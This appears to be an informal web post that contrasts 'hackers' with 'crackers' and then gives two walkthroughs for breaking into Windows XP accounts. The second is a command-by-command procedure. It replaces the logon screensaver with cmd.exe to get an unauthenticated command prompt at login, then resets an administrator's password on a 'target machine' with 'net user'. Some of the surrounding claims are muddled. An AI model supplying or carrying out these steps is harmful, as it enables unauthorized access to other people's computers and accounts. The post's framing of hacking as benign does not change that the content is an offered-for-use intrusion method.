Hacking is done to expose a security hole in a system. Hacking is done to expose the holes in the armor so that system designers can patch it in their next release.Hacking if done with a malicious mind, then its cracking! Crackers are basically hackers with a malicious mind. They exploit the security holes to gain unauthorized access to a system. They often steal data like the credit card information from the victim’s computer and read their mails. Some crackers go beyond and often engage in destructive actions like creating viruses and worms. So the next time when you say hacker/cracker, understand what they are. Hackers don’t like being greeted as crackers for the same reason that hackers are friendly and nice people.
I’m giving you two examples below to understand how hacking differs from tweaking:
Eg1: Hack the XP Admin Passwords
When you or anyone installs Windows XP for the first time your asked to put in your username and up to five others.Now, unknownst to a lot of other people this is the only place in Windows XP that you can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account. This only works if the user on setup specified a password for the Administrator Account.
Eg2:Hack XP Password
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly. Forget about the explanations as it is for the
sake of clarity purpose
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah
and you should be in.
